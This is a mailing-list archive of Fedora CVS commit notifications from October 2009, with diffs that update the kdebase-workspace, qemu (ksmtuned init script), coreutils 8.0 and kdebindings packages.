 # 4.3 branch
-Patch100: kdebase-workspace-4.3.2-plasmaCrash.patch
 
 # trunk
 
@@ -270,7 +269,6 @@ Requires: akonadi
 %patch17 -p1 -b .classicmenu-logout
 
 # upstream patches
-%patch100 -p5 -b .plasmaCrash
 
 
 %build
@@ -605,6 +603,9 @@ fi
 
 
 %changelog
+* Sun Oct 04 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Sun Sep 27 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.1-9
 - fix classicmenu-logout ("Leave...") patch
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdebase-workspace/F-10/sources,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- sources	1 Sep 2009 13:05:18 -0000	1.33
+++ sources	6 Oct 2009 13:07:52 -0000	1.34
@@ -1 +1 @@
-cf512fce3c8734078a89119334fd5a8a  kdebase-workspace-4.3.1.tar.bz2
+2966168f421b3093a119a7c7089b87fb  kdebase-workspace-4.3.2.tar.bz2


--- kdebase-workspace-4.3.2-plasmaCrash.patch DELETED ---



From ltinkl at fedoraproject.org  Tue Oct  6 13:07:52 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Tue,  6 Oct 2009 13:07:52 +0000 (UTC)
Subject: rpms/kdebase-workspace/F-11 .cvsignore, 1.34,
	1.35 kdebase-workspace.spec, 1.244, 1.245 sources, 1.39,
	1.40 kdebase-workspace-4.3.2-plasmaCrash.patch, 1.1, NONE
Message-ID: <20091006130752.BA87611C00C1@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdebase-workspace/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5260/F-11

Modified Files:
	.cvsignore kdebase-workspace.spec sources 
Removed Files:
	kdebase-workspace-4.3.2-plasmaCrash.patch 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdebase-workspace/F-11/.cvsignore,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- .cvsignore	1 Sep 2009 13:05:19 -0000	1.34
+++ .cvsignore	6 Oct 2009 13:07:52 -0000	1.35
@@ -1 +1 @@
-kdebase-workspace-4.3.1.tar.bz2
+kdebase-workspace-4.3.2.tar.bz2


Index: kdebase-workspace.spec
===================================================================
RCS file: /cvs/extras/rpms/kdebase-workspace/F-11/kdebase-workspace.spec,v
retrieving revision 1.244
retrieving revision 1.245
diff -u -p -r1.244 -r1.245
--- kdebase-workspace.spec	27 Sep 2009 23:25:06 -0000	1.244
+++ kdebase-workspace.spec	6 Oct 2009 13:07:52 -0000	1.245
@@ -6,9 +6,9 @@
 
 Summary: K Desktop Environment - Workspace
 Name: kdebase-workspace
-Version: 4.3.1
+Version: 4.3.2
 
-Release: 9%{?dist}
+Release: 1%{?dist}
 Source0: ftp://ftp.kde.org/pub/kde/stable/%{version}/src/kdebase-workspace-%{version}.tar.bz2
 License: GPLv2
 Group: User Interface/Desktops
@@ -38,7 +38,6 @@ Patch17: kdebase-workspace-4.3.1-classic
 
 # upstream patches:
 # 4.3 branch
-Patch100: kdebase-workspace-4.3.2-plasmaCrash.patch
 
 # trunk
 
@@ -270,7 +269,6 @@ Requires: akonadi
 %patch17 -p1 -b .classicmenu-logout
 
 # upstream patches
-%patch100 -p5 -b .plasmaCrash
 
 
 %build
@@ -605,6 +603,9 @@ fi
 
 
 %changelog
+* Sun Oct 04 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Sun Sep 27 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.1-9
 - fix classicmenu-logout ("Leave...") patch
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdebase-workspace/F-11/sources,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- sources	1 Sep 2009 13:05:19 -0000	1.39
+++ sources	6 Oct 2009 13:07:52 -0000	1.40
@@ -1 +1 @@
-cf512fce3c8734078a89119334fd5a8a  kdebase-workspace-4.3.1.tar.bz2
+2966168f421b3093a119a7c7089b87fb  kdebase-workspace-4.3.2.tar.bz2


--- kdebase-workspace-4.3.2-plasmaCrash.patch DELETED ---



From ltinkl at fedoraproject.org  Tue Oct  6 13:07:53 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Tue,  6 Oct 2009 13:07:53 +0000 (UTC)
Subject: rpms/kdebase-workspace/devel .cvsignore,1.39,1.40
Message-ID: <20091006130753.523BB11C00C1@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdebase-workspace/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5260/devel

Modified Files:
	.cvsignore 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdebase-workspace/devel/.cvsignore,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- .cvsignore	4 Oct 2009 10:44:56 -0000	1.39
+++ .cvsignore	6 Oct 2009 13:07:53 -0000	1.40
@@ -1,2 +1 @@
-kdebase-workspace-4.3.1.tar.bz2
 kdebase-workspace-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Tue Oct  6 13:07:53 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Tue,  6 Oct 2009 13:07:53 +0000 (UTC)
Subject: rpms/kdebase-workspace/F-12 .cvsignore, 1.38,
	1.39 kdebase-workspace.spec, 1.300, 1.301 sources, 1.47,
	1.48 kdebase-workspace-4.3.2-plasmaCrash.patch, 1.1, NONE
Message-ID: <20091006130753.2202E11C00C1@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdebase-workspace/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5260/F-12

Modified Files:
	.cvsignore kdebase-workspace.spec sources 
Removed Files:
	kdebase-workspace-4.3.2-plasmaCrash.patch 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdebase-workspace/F-12/.cvsignore,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- .cvsignore	1 Sep 2009 13:05:19 -0000	1.38
+++ .cvsignore	6 Oct 2009 13:07:52 -0000	1.39
@@ -1 +1 @@
-kdebase-workspace-4.3.1.tar.bz2
+kdebase-workspace-4.3.2.tar.bz2


Index: kdebase-workspace.spec
===================================================================
RCS file: /cvs/extras/rpms/kdebase-workspace/F-12/kdebase-workspace.spec,v
retrieving revision 1.300
retrieving revision 1.301
diff -u -p -r1.300 -r1.301
--- kdebase-workspace.spec	27 Sep 2009 23:25:07 -0000	1.300
+++ kdebase-workspace.spec	6 Oct 2009 13:07:52 -0000	1.301
@@ -6,9 +6,9 @@
 
 Summary: K Desktop Environment - Workspace
 Name: kdebase-workspace
-Version: 4.3.1
+Version: 4.3.2
 
-Release: 9%{?dist}
+Release: 1%{?dist}
 Source0: ftp://ftp.kde.org/pub/kde/stable/%{version}/src/kdebase-workspace-%{version}.tar.bz2
 License: GPLv2
 Group: User Interface/Desktops
@@ -38,7 +38,6 @@ Patch17: kdebase-workspace-4.3.1-classic
 
 # upstream patches:
 # 4.3 branch
-Patch100: kdebase-workspace-4.3.2-plasmaCrash.patch
 
 # trunk
 
@@ -270,7 +269,6 @@ Requires: akonadi
 %patch17 -p1 -b .classicmenu-logout
 
 # upstream patches
-%patch100 -p5 -b .plasmaCrash
 
 
 %build
@@ -605,6 +603,9 @@ fi
 
 
 %changelog
+* Sun Oct 04 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Sun Sep 27 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.1-9
 - fix classicmenu-logout ("Leave...") patch
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdebase-workspace/F-12/sources,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -p -r1.47 -r1.48
--- sources	28 Aug 2009 20:16:16 -0000	1.47
+++ sources	6 Oct 2009 13:07:52 -0000	1.48
@@ -1 +1 @@
-cf512fce3c8734078a89119334fd5a8a  kdebase-workspace-4.3.1.tar.bz2
+2966168f421b3093a119a7c7089b87fb  kdebase-workspace-4.3.2.tar.bz2


--- kdebase-workspace-4.3.2-plasmaCrash.patch DELETED ---



From markmc at fedoraproject.org  Tue Oct  6 13:26:25 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Tue,  6 Oct 2009 13:26:25 +0000 (UTC)
Subject: rpms/qemu/devel ksmtuned, 1.1, 1.2 ksmtuned.init, 1.1, 1.2 qemu.spec,
	1.138, 1.139
Message-ID: <20091006132626.2FC0E11C00C1@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/qemu/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11407

Modified Files:
	ksmtuned ksmtuned.init qemu.spec 
Log Message:
* Tue Oct  6 2009 Mark McLoughlin <markmc at redhat.com> - 2:0.11.0-5
- Add 'retune' verb to ksmtuned init script



Index: ksmtuned
===================================================================
RCS file: /cvs/pkgs/rpms/qemu/devel/ksmtuned,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- ksmtuned	16 Sep 2009 17:31:15 -0000	1.1
+++ ksmtuned	6 Oct 2009 13:26:24 -0000	1.2
@@ -12,6 +12,9 @@
 # make ksm work harder and harder untill memory load falls below that
 # threshold.
 #
+# send SIGUSR1 to this process right after a new qemu process is started, or
+# following its death, to retune ksm accordingly
+#
 # needs testing and ironing. contact danken at redhat.com if something breaks.
 
 if [ -f /etc/ksmtuned.conf ]; then
@@ -105,10 +108,16 @@ adjust () {
     return 0
 }
 
+function nothing () {
+    :
+}
+
 loop () {
+    trap nothing SIGUSR1
     while true
     do
-        sleep $KSM_MONITOR_INTERVAL
+        sleep $KSM_MONITOR_INTERVAL &
+        wait $!
         adjust
     done
 }


Index: ksmtuned.init
===================================================================
RCS file: /cvs/pkgs/rpms/qemu/devel/ksmtuned.init,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- ksmtuned.init	16 Sep 2009 17:31:15 -0000	1.1
+++ ksmtuned.init	6 Oct 2009 13:26:24 -0000	1.2
@@ -75,8 +75,11 @@ case "$1" in
   condrestart)
 	condrestart
 	;;
+  retune)
+        kill -SIGUSR1 `cat ${pidfile}`
+        RETVAL=$?
   *)
-	echo $"Usage: $prog {start|stop|restart|condrestart|status|help}"
+	echo $"Usage: $prog {start|stop|restart|condrestart|status|retune|help}"
 	RETVAL=3
 esac
 


Index: qemu.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qemu/devel/qemu.spec,v
retrieving revision 1.138
retrieving revision 1.139
diff -u -p -r1.138 -r1.139
--- qemu.spec	5 Oct 2009 14:27:23 -0000	1.138
+++ qemu.spec	6 Oct 2009 13:26:24 -0000	1.139
@@ -1,7 +1,7 @@
 Summary: QEMU is a FAST! processor emulator
 Name: qemu
 Version: 0.11.0
-Release: 4%{?dist}
+Release: 5%{?dist}
 # Epoch because we pushed a qemu-1.0 package
 Epoch: 2
 License: GPLv2+ and LGPLv2+ and BSD
@@ -534,6 +534,9 @@ fi
 %{_mandir}/man1/qemu-img.1*
 
 %changelog
+* Tue Oct  6 2009 Mark McLoughlin <markmc at redhat.com> - 2:0.11.0-5
+- Add 'retune' verb to ksmtuned init script
+
 * Mon Oct  5 2009 Mark McLoughlin <markmc at redhat.com> - 2:0.11.0-4
 - Use rtl8029 PXE rom for ne2k_pci, not ne (#526777)
 - Also, replace the gpxe-roms-qemu pkg requires with file-based requires



From markmc at fedoraproject.org  Tue Oct  6 13:26:58 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Tue,  6 Oct 2009 13:26:58 +0000 (UTC)
Subject: rpms/qemu/F-12 ksmtuned, 1.1, 1.2 ksmtuned.init, 1.1, 1.2 qemu.spec,
	1.138, 1.139
Message-ID: <20091006132658.D6AD611C00C1@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/qemu/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11693

Modified Files:
	ksmtuned ksmtuned.init qemu.spec 
Log Message:
* Tue Oct  6 2009 Mark McLoughlin <markmc at redhat.com> - 2:0.11.0-5
- Add 'retune' verb to ksmtuned init script



Index: ksmtuned
===================================================================
RCS file: /cvs/pkgs/rpms/qemu/F-12/ksmtuned,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- ksmtuned	16 Sep 2009 17:31:15 -0000	1.1
+++ ksmtuned	6 Oct 2009 13:26:58 -0000	1.2
@@ -12,6 +12,9 @@
 # make ksm work harder and harder untill memory load falls below that
 # threshold.
 #
+# send SIGUSR1 to this process right after a new qemu process is started, or
+# following its death, to retune ksm accordingly
+#
 # needs testing and ironing. contact danken at redhat.com if something breaks.
 
 if [ -f /etc/ksmtuned.conf ]; then
@@ -105,10 +108,16 @@ adjust () {
     return 0
 }
 
+function nothing () {
+    :
+}
+
 loop () {
+    trap nothing SIGUSR1
     while true
     do
-        sleep $KSM_MONITOR_INTERVAL
+        sleep $KSM_MONITOR_INTERVAL &
+        wait $!
         adjust
     done
 }


Index: ksmtuned.init
===================================================================
RCS file: /cvs/pkgs/rpms/qemu/F-12/ksmtuned.init,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- ksmtuned.init	16 Sep 2009 17:31:15 -0000	1.1
+++ ksmtuned.init	6 Oct 2009 13:26:58 -0000	1.2
@@ -75,8 +75,11 @@ case "$1" in
   condrestart)
 	condrestart
 	;;
+  retune)
+        kill -SIGUSR1 `cat ${pidfile}`
+        RETVAL=$?
   *)
-	echo $"Usage: $prog {start|stop|restart|condrestart|status|help}"
+	echo $"Usage: $prog {start|stop|restart|condrestart|status|retune|help}"
 	RETVAL=3
 esac
 


Index: qemu.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qemu/F-12/qemu.spec,v
retrieving revision 1.138
retrieving revision 1.139
diff -u -p -r1.138 -r1.139
--- qemu.spec	5 Oct 2009 14:26:45 -0000	1.138
+++ qemu.spec	6 Oct 2009 13:26:58 -0000	1.139
@@ -1,7 +1,7 @@
 Summary: QEMU is a FAST! processor emulator
 Name: qemu
 Version: 0.11.0
-Release: 4%{?dist}
+Release: 5%{?dist}
 # Epoch because we pushed a qemu-1.0 package
 Epoch: 2
 License: GPLv2+ and LGPLv2+ and BSD
@@ -534,6 +534,9 @@ fi
 %{_mandir}/man1/qemu-img.1*
 
 %changelog
+* Tue Oct  6 2009 Mark McLoughlin <markmc at redhat.com> - 2:0.11.0-5
+- Add 'retune' verb to ksmtuned init script
+
 * Mon Oct  5 2009 Mark McLoughlin <markmc at redhat.com> - 2:0.11.0-4
 - Use rtl8029 PXE rom for ne2k_pci, not ne (#526777)
 - Also, replace the gpxe-roms-qemu pkg requires with file-based requires



From markmc at fedoraproject.org  Tue Oct  6 13:33:22 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Tue,  6 Oct 2009 13:33:22 +0000 (UTC)
Subject: rpms/qemu/devel ksmtuned.init,1.2,1.3
Message-ID: <20091006133322.4BCC611C00C1@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/qemu/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14647

Modified Files:
	ksmtuned.init 
Log Message:
Fix syntax error in ksmtuned.init


Index: ksmtuned.init
===================================================================
RCS file: /cvs/pkgs/rpms/qemu/devel/ksmtuned.init,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- ksmtuned.init	6 Oct 2009 13:26:24 -0000	1.2
+++ ksmtuned.init	6 Oct 2009 13:33:22 -0000	1.3
@@ -78,6 +78,7 @@ case "$1" in
   retune)
         kill -SIGUSR1 `cat ${pidfile}`
         RETVAL=$?
+        ;;
   *)
 	echo $"Usage: $prog {start|stop|restart|condrestart|status|retune|help}"
 	RETVAL=3



From markmc at fedoraproject.org  Tue Oct  6 13:33:26 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Tue,  6 Oct 2009 13:33:26 +0000 (UTC)
Subject: rpms/qemu/F-12 ksmtuned.init,1.2,1.3
Message-ID: <20091006133326.3F7F511C00C1@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/qemu/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14693

Modified Files:
	ksmtuned.init 
Log Message:
Fix syntax error in ksmtuned.init


Index: ksmtuned.init
===================================================================
RCS file: /cvs/pkgs/rpms/qemu/F-12/ksmtuned.init,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- ksmtuned.init	6 Oct 2009 13:26:58 -0000	1.2
+++ ksmtuned.init	6 Oct 2009 13:33:26 -0000	1.3
@@ -78,6 +78,7 @@ case "$1" in
   retune)
         kill -SIGUSR1 `cat ${pidfile}`
         RETVAL=$?
+        ;;
   *)
 	echo $"Usage: $prog {start|stop|restart|condrestart|status|retune|help}"
 	RETVAL=3



From ovasik at fedoraproject.org  Tue Oct  6 13:43:27 2009
From: ovasik at fedoraproject.org (Ondrej Vasik)
Date: Tue,  6 Oct 2009 13:43:27 +0000 (UTC)
Subject: rpms/coreutils/devel .cvsignore, 1.23,
	1.24 coreutils-5.2.1-runuser.patch, 1.28,
	1.29 coreutils-i18n.patch, 1.39, 1.40 coreutils-pam.patch, 1.17,
	1.18 coreutils-selinux.patch, 1.60, 1.61 coreutils.spec, 1.282,
	1.283 sources, 1.25, 1.26 coreutils-7.6-lzipcolor.patch, 1.1,
	NONE coreutils-cpxattrreadonly.patch, 1.1,
	NONE coreutils-ls-inode.patch, 1.1, NONE
Message-ID: <20091006134327.484F711C00C1@cvs1.fedora.phx.redhat.com>

Author: ovasik

Update of /cvs/extras/rpms/coreutils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15997

Modified Files:
	.cvsignore coreutils-5.2.1-runuser.patch coreutils-i18n.patch 
	coreutils-pam.patch coreutils-selinux.patch coreutils.spec 
	sources 
Removed Files:
	coreutils-7.6-lzipcolor.patch coreutils-cpxattrreadonly.patch 
	coreutils-ls-inode.patch 
Log Message:
New upstream release 8.0 (beta), defuzz patches, remove applied patches


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/coreutils/devel/.cvsignore,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- .cvsignore	12 Sep 2009 09:28:48 -0000	1.23
+++ .cvsignore	6 Oct 2009 13:43:24 -0000	1.24
@@ -1 +1 @@
-coreutils-7.6.tar.xz
+coreutils-8.0.tar.xz

coreutils-5.2.1-runuser.patch:
 coreutils-7.0/AUTHORS                 |    1 
 coreutils-7.0/README                  |    8 -
 coreutils-7.0/man/Makefile.am         |    1 
 coreutils-7.0/man/runuser.x           |   12 ++
 coreutils-7.0/src/Makefile.am         |    8 +
 coreutils-7.0/src/su.c                |  138 +++++++++++++++++++++++++++++++---
 coreutils-7.5/tests/misc/help-version |    1 
 coreutils-7.6/man/help2man            |    3 
 8 files changed, 157 insertions(+), 15 deletions(-)

Index: coreutils-5.2.1-runuser.patch
===================================================================
RCS file: /cvs/extras/rpms/coreutils/devel/coreutils-5.2.1-runuser.patch,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- coreutils-5.2.1-runuser.patch	22 Sep 2009 13:24:02 -0000	1.28
+++ coreutils-5.2.1-runuser.patch	6 Oct 2009 13:43:24 -0000	1.29
@@ -105,18 +105,14 @@ diff -urNp coreutils-7.0.orig/src/su.c c
  
  #if HAVE_PATHS_H
  # include <paths.h>
-@@ -149,6 +155,10 @@
+@@ -149,11 +155,18 @@
  #ifndef USE_PAM
  char *crypt (char const *key, char const *salt);
  #endif
 +#ifndef CHECKPASSWD
 +#define CHECKPASSWD 1
 +#endif
-+
- char *getusershell (void);
- void endusershell (void);
- void setusershell (void);
-@@ -156,7 +166,11 @@ void setusershell ();
+ 
  extern char **environ;
  
  static void run_shell (char const *, char const *, char **, size_t,

coreutils-i18n.patch:
 coreutils-6.11/src/join.c               |  105 +++-
 coreutils-6.12-orig/src/join.c          |    5 
 coreutils-6.12/tests/Makefile.am        |    5 
 coreutils-6.12/tests/misc/cut           |    6 
 coreutils-6.8+/lib/linebuffer.h         |    8 
 coreutils-6.8+/src/cut.c                |  420 ++++++++++++++++++-
 coreutils-6.8+/src/expand.c             |  160 +++++++
 coreutils-6.8+/src/fold.c               |  309 +++++++++++++-
 coreutils-6.8+/src/join.c               |  233 +++++++++--
 coreutils-6.8+/src/pr.c                 |  431 ++++++++++++++++++--
 coreutils-6.8+/src/sort.c               |  673 ++++++++++++++++++++++++++++++--
 coreutils-6.8+/src/unexpand.c           |  226 ++++++++++
 coreutils-6.8+/src/uniq.c               |  259 +++++++++++-
 coreutils-6.8+/tests/misc/mb1.I         |    4 
 coreutils-6.8+/tests/misc/mb1.X         |    4 
 coreutils-6.8+/tests/misc/mb2.I         |    4 
 coreutils-6.8+/tests/misc/mb2.X         |    4 
 coreutils-6.8+/tests/misc/sort-mb-tests |   58 ++
 18 files changed, 2736 insertions(+), 178 deletions(-)

Index: coreutils-i18n.patch
===================================================================
RCS file: /cvs/extras/rpms/coreutils/devel/coreutils-i18n.patch,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- coreutils-i18n.patch	12 Sep 2009 09:28:49 -0000	1.39
+++ coreutils-i18n.patch	6 Oct 2009 13:43:24 -0000	1.40
@@ -346,7 +346,7 @@ diff -urN coreutils-6.12-orig/tests/Make
      error (EXIT_FAILURE, errno, "-");
 --- coreutils-6.8+/src/join.c.i18n	2007-01-14 15:41:28.000000000 +0000
 +++ coreutils-6.8+/src/join.c	2007-03-01 15:08:24.000000000 +0000
-@@ -23,16 +23,30 @@
+@@ -23,17 +23,31 @@
  #include <sys/types.h>
  #include <getopt.h>
  
@@ -362,6 +362,7 @@ diff -urN coreutils-6.12-orig/tests/Make
 +
  #include "system.h"
  #include "error.h"
+ #include "hard-locale.h"
  #include "linebuffer.h"
 -#include "memcasecmp.h"
  #include "quote.h"

coreutils-pam.patch:
 coreutils-6.7/doc/coreutils.texi |   36 +-----
 coreutils-6.7/src/Makefile.am    |    2 
 coreutils-6.7/src/su.c           |  224 +++++++++++++++++++++++++++++++++++++--
 coreutils-7.1/configure.ac       |    7 +
 4 files changed, 233 insertions(+), 36 deletions(-)

Index: coreutils-pam.patch
===================================================================
RCS file: /cvs/extras/rpms/coreutils/devel/coreutils-pam.patch,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- coreutils-pam.patch	12 Sep 2009 09:28:49 -0000	1.17
+++ coreutils-pam.patch	6 Oct 2009 13:43:24 -0000	1.18
@@ -44,16 +44,13 @@
  #include "system.h"
  #include "getpass.h"
  
-@@ -128,15 +147,22 @@
+@@ -128,12 +147,19 @@
  /* The user to become if none is specified.  */
  #define DEFAULT_USER "root"
  
 +#ifndef USE_PAM
  char *crypt (char const *key, char const *salt);
 +#endif
- char *getusershell (void);
- void endusershell (void);
- void setusershell (void);
  
  extern char **environ;
  

coreutils-selinux.patch:
 configure.ac       |    7 ++
 man/chcon.x        |    2 
 man/runcon.x       |    2 
 src/chcon.c        |    6 +
 src/copy.c         |    2 
 src/copy.h         |    3 
 src/cp.c           |   39 ++++++++++++
 src/id.c           |    2 
 src/install.c      |   13 +++-
 src/ls.c           |  161 +++++++++++++++++++++++++++++++++++++++++++----------
 src/mkdir.c        |    1 
 src/mknod.c        |    2 
 src/mv.c           |    1 
 src/runcon.c       |    2 
 src/stat.c         |   85 +++++++++++++++++++--------
 tests/misc/selinux |    2 
 16 files changed, 263 insertions(+), 67 deletions(-)

Index: coreutils-selinux.patch
===================================================================
RCS file: /cvs/extras/rpms/coreutils/devel/coreutils-selinux.patch,v
retrieving revision 1.60
retrieving revision 1.61
diff -u -p -r1.60 -r1.61
--- coreutils-selinux.patch	5 Oct 2009 07:06:38 -0000	1.60
+++ coreutils-selinux.patch	6 Oct 2009 13:43:24 -0000	1.61
@@ -557,8 +557,8 @@ diff -urNp coreutils-7.1-orig/src/ls.c c
 +
    DIRED_INDENT ();
  
--  if (print_owner | print_group | print_author | print_scontext)
-+  if (print_owner | print_group | print_author)
+-  if (print_owner || print_group || print_author || print_scontext)
++  if (print_owner || print_group || print_author)
      {
        DIRED_FPUTS (buf, stdout, p - buf);
  


Index: coreutils.spec
===================================================================
RCS file: /cvs/extras/rpms/coreutils/devel/coreutils.spec,v
retrieving revision 1.282
retrieving revision 1.283
diff -u -p -r1.282 -r1.283
--- coreutils.spec	5 Oct 2009 07:06:38 -0000	1.282
+++ coreutils.spec	6 Oct 2009 13:43:24 -0000	1.283
@@ -1,7 +1,7 @@
 Summary: A set of basic GNU tools commonly used in shell scripts
 Name:    coreutils
-Version: 7.6
-Release: 7%{?dist}
+Version: 8.0
+Release: 1%{?dist}
 License: GPLv3+
 Group:   System Environment/Base
 Url:     http://www.gnu.org/software/coreutils/
@@ -18,9 +18,6 @@ Source202:  coreutils-su-l.pamd
 Source203:  coreutils-runuser-l.pamd
 
 # From upstream
-Patch1: coreutils-cpxattrreadonly.patch
-Patch2: coreutils-7.6-lzipcolor.patch
-Patch3: coreutils-ls-inode.patch
 
 # Our patches
 Patch100: coreutils-6.10-configuration.patch
@@ -110,8 +107,6 @@ Libraries for coreutils package.
 %setup -q
 
 # From upstream
-%patch1 -p1 -b .roxattr
-%patch2 -p1 -b .lzip
 
 # Our patches
 %patch100 -p1 -b .configure
@@ -139,9 +134,6 @@ Libraries for coreutils package.
 %patch950 -p1 -b .selinux
 %patch951 -p1 -b .selinuxman
 
-#apply upstream patch later to prevent defuzzing
-%patch3 -p1 -b .inode
-
 chmod a+x tests/misc/sort-mb-tests
 
 #fix typos/mistakes in localized documentation(#439410, #440056)
@@ -333,6 +325,10 @@ fi
 %{_libdir}/coreutils
 
 %changelog
+* Wed Oct 07 2009 Ondrej Vasik <ovasik at redhat.com> - 8.0-1
+- New upstream release 8.0 (beta), defuzz patches,
+  remove applied patches
+
 * Mon Oct 05 2009 Ondrej Vasik <ovasik at redhat.com> - 7.6-7
 - chcon no longer aborts on a selinux disabled system
   (#527142)


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/coreutils/devel/sources,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- sources	12 Sep 2009 09:28:49 -0000	1.25
+++ sources	6 Oct 2009 13:43:25 -0000	1.26
@@ -1 +1 @@
-a9fb9368e40205d70fc37b9fe441e8ec  coreutils-7.6.tar.xz
+fe3bb9376150acb5af4a2a280d6fd91a  coreutils-8.0.tar.xz


--- coreutils-7.6-lzipcolor.patch DELETED ---


--- coreutils-cpxattrreadonly.patch DELETED ---


--- coreutils-ls-inode.patch DELETED ---



From ltinkl at fedoraproject.org  Tue Oct  6 13:46:39 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Tue,  6 Oct 2009 13:46:39 +0000 (UTC)
Subject: rpms/kdebindings/F-10 .cvsignore, 1.58, 1.59 kdebindings.spec, 1.166,
	1.167 sources, 1.66, 1.67
Message-ID: <20091006134639.69C2011C00C1@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdebindings/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16311/F-10

Modified Files:
	.cvsignore kdebindings.spec sources 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdebindings/F-10/.cvsignore,v
retrieving revision 1.58
retrieving revision 1.59
diff -u -p -r1.58 -r1.59
--- .cvsignore	1 Sep 2009 17:16:56 -0000	1.58
+++ .cvsignore	6 Oct 2009 13:46:38 -0000	1.59
@@ -1 +1 @@
-kdebindings-4.3.1.tar.bz2
+kdebindings-4.3.2.tar.bz2


Index: kdebindings.spec
===================================================================
RCS file: /cvs/extras/rpms/kdebindings/F-10/kdebindings.spec,v
retrieving revision 1.166
retrieving revision 1.167
diff -u -p -r1.166 -r1.167
--- kdebindings.spec	4 Sep 2009 13:16:47 -0000	1.166
+++ kdebindings.spec	6 Oct 2009 13:46:38 -0000	1.167
@@ -24,6 +24,15 @@
 %define pykde4_akonadi 1
 %define pyqt4_version 4.5.2
 
+%if 0%{?rhel}
+%define falcon 0
+%define php 0
+%define ruby 0
+%define smoke 0
+%define java 0
+%define csharp 0
+%endif
+
 %if 0%{?ruby}%{?smoke}
 %define devel 1
 %endif
@@ -35,8 +44,8 @@
 %global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")
 
 Name: kdebindings
-Version: 4.3.1
-Release: 3%{?dist}
+Version: 4.3.2
+Release: 1%{?dist}
 Summary: KDE bindings to non-C++ languages
 
 # http://techbase.kde.org/Policies/Licensing_Policy
@@ -66,7 +75,9 @@ BuildRequires:  polkit-qt-devel
 BuildRequires:  python-devel
 BuildRequires:  PyQt4-devel >= %{pyqt4_version}
 BuildRequires:  qimageblitz-devel
+%if 0%{?fedora}
 BuildRequires:  qscintilla-devel >= 2.4
+%endif
 BuildRequires:  qimageblitz-devel
 BuildRequires:  soprano-devel
 %if 0%{?csharp}
@@ -515,6 +526,12 @@ fi
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
